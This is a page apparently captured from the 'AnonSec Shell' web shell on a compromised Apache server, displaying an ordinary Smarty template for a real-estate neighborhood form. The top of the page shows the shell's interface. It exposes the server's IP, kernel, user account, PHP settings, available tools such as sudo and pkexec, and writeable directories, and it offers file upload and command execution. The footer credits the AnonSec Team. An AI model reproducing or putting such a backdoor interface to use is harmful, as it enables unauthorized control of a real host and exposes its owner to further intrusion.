AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.46
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_apps/leo/application/plugins/module_imobles/views/neighborhood/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_apps/leo/application/plugins/module_imobles/views/neighborhood/add.tpl
<div class="wrapper wrapper-content" style="padding-bottom: 0;">
    {$title_action = $_L['module imobles Add neighborhood']}
    {if (!empty($neighborhood->id))}
        {$title_action = $_L['module imobles Edit neighborhood']}
    {/if}
    {$can_edit = true}
    <div class="row">

        <div class="col-md-12">

            <div class="ibox float-e-margins">

                <div class="ibox-title">
                    <h5>{$title_action}</h5>
                    {if   $typeForm!='modal'}
                        <a href="{$_url}module_imobles/neighborhood/listAll"
                           class="btn btn-xs btn-primary btn-rounded pull-right">
                            <i class="fa fa-bars"></i> {$_L['module imobles list neighborhood']}
                        </a>
                    {else}
                        <button type="button" class="close" data-dismiss="modal" aria-hidden="true">&times;</button>
                    {/if}
                </div>

                <div class="ibox-content" id="ibox_form_entreprise">

                    <div class="alert alert-danger" id="emsg">
                        <span id="emsgbody"></span>
                    </div>



                    <form class="form-horizontal" id="form-neighborhood" method="post" enctype="multipart/form-data"   >

                        <div class="row">

                            <div class="col-md-3 col-sm-6 col-xs-12">
                                <label class="control-label" for="state">{$_L['State Region']}</label>
                                <select name="state_id" id="state_id" class="form-control" style="width:100%">
                                    <option value="">{$_L['Select State']}</option>
                                    {foreach $state as $s}
                                        <option {if $neighborhood->state_id==$s['id']}selected{/if} value="{$s['id']}">{$s['state_name']}</option>
                                    {/foreach}
                                </select>
                            </div>                 

                            <div class="col-md-3 col-sm-6 col-xs-12">
                                <label class=" control-label" id="label_cidade" for="city">{$_L['City']}</label>
                                <select data-value='{$neighborhood->city_id}' name="city_id" id="city_id" class="form-control" style="width:100%">
                                    <option val="0" selected="">{$_L['module imobles Select city']}</option>
                                </select>
                            </div>   

                            <div class="col-md-1 col-sm-6 col-xs-12">
                                <label class="control-label" for="title">
                                    {$_L['module imobles preposition']} 
                                </label>
                                <select name="preposition" id="preposition" class="form-control ">
                                    <option value="In" {if $neighborhood->preposition=='In'}selected{/if}> {$_L['module imobles in']}</option>
                                    <option value="On" {if $neighborhood->preposition<>'In'}selected{/if}> {$_L['module imobles on']}</option>
                                </select>
                            </div>

                            <div class="col-sm-12 col-md-5 col-xs-12 ">
                                <label class="control-label" >
                                    {$_L['Name']} {$_L['*']}
                                </label>
                                <input name='name' value="{$neighborhood->name}" class="form-control">
                            </div>

                            <div class="col-sm-12 col-md-12 col-xs-12 ">
                                {*
                                <label class="control-label" >
                                    {$_L['Google Place ID']} 
                                </label>
                                <input name='google_place_id' value="{$neighborhood->google_place_id}" class="form-control">
                                *}
                                <label for="neighborhood_construction_hotsite_google_place">{$_L['module imobles hotsite google_place']}</label>   
                                <select class="form-control" id="neighborhood_google_place" name="google_place_id">
                                    {if isset($neighborhood->google_place_id) && $neighborhood->google_place_id != ""}
                                    <option value="{$neighborhood->google_place_id}">{$neighborhood->google_place_id}</option>  
                                    {/if}
                                </select>  

                            </div>

                            <input name="id" id="id" class="neighborhood_id" type="hidden" value="{if isset($neighborhood->id)}{$neighborhood->id}{/if}">
                            <div class="col-sm-12 col-md-12 col-xs-12 ">
                                <table class="table" id="neighborhood_alternative_names">
                                    <thead>
                                        <tr>
                                            <th>{$_L['module imobles alternative names']} </th>
                                            <th class="col-md-1 ">
                                            </th> 
                                        </tr>
                                    </thead>
                                    <tbody id="body-alternative_names">
                                        {if $alternatives}
                                            {assign var=row value=0}

                                            {foreach $alternatives as $item}

                                                <tr>
                                                    <td class="middle">
                                                        <input type="text" maxlength="100" class="form-control" name="alternative_names[]" value="{$item}" >
                                                    </td> 
                                                    <td class="middle col-xs-1"> 
                                                        {if $row>0}{
                                                            <span class="btn btn-danger btn-xs delete_alternative_names"><i class="fa fa-trash"></i> </span>
                                                        {/if}
                                                        {assign var=row value=0}


                                                    </td>
                                                </tr>
                                            {/foreach}
                                        {else}
                                            <tr>
                                                <td class="middle">
                                                    <input type="text" maxlength="100" class="form-control" name="alternative_names[]" value="" >
                                                </td> 
                                                <td class="middle col-xs-1"> 
                                                </td>
                                            </tr>
                                        {/if}
                                    </tbody>
                                </table>

                                <button type="button" class="btn btn-primary" id="alternative-add"><i class="fa fa-plus"></i> {$_L['module imobles add more']}
                                </button>
                            </div>
                            <div class="col-md-12 col-sm-12 col-xs-12">
                                <label class="control-label" for="state">{$_L['module imobles neighborhood related']}</label>
                                <select multiple="" name="neighborhood_id_related[]" id="neighborhood_id_related" class="form-control" style="width:100%">
                                    {if isset($relateds)}
                                        {foreach $relateds as $r}
                                            <option selected valur="{$r->id}">{$r->name}</option>
                                            {/foreach}
                                        {/if}
                                </select>
                            </div>                 
                        </div>


                        <div class='row'>
                            <div class="col-xs-12 div_form">
                                <h2>{$_L['module imobles neighborhood hotsite texts']}</h2>
                            </div>
                            <div class="col-sm-12 col-md-12 ">
                                <label class="control-label">{$_L['module imobles neighborhood hotsite title']}</label>
                                <input type="text" maxlength="100" class="form-control" name="params[hotsite_title]" value="{if isset($neighborhood->params->hotsite_title)}{$neighborhood->params->hotsite_title}{/if}" >
                                <p class="help-block">{$_L['module imobles neighborhood hotsite text hint']}</p>
                            </div>
                            <div class="col-sm-12 col-md-12 ">
                                <label class="control-label">{$_L['module imobles neighborhood hotsite text']}</label>
                                <textarea class="form-control" name="params[hotsite_text]" rows="3">{if isset($neighborhood->params->hotsite_text)}{$neighborhood->params->hotsite_text}{/if}</textarea>
                                <p class="help-block">{$_L['module imobles neighborhood hotsite text hint']}</p>
                            </div>
                        </div>


                    </form>
                    <div class="row" style="margin-top:20px">
                        <div class=" col-md-12 form-group">
                            <div class="col-lg-10">
                                <a href="#" class="md-btn md-btn-primary waves-effect waves-light" id="submit_neig">
                                    <i class="fa fa-check"></i> {$_L['Submit']}
                                </a>
                                {if   $typeForm!='modal'}
                                    | <a href="{$_url}module_imobles/neighborhood/listAll">{$_L['Or Cancel']}</a>
                                {/if}

                            </div>
                        </div>
                    </div>
                </div>

            </div>

        </div>
    </div>
    <input type="hidden"  id="_msg_select_city" value="{$_L['module imobles Select city']}">
</div>

Anon7 - 2022
AnonSec Team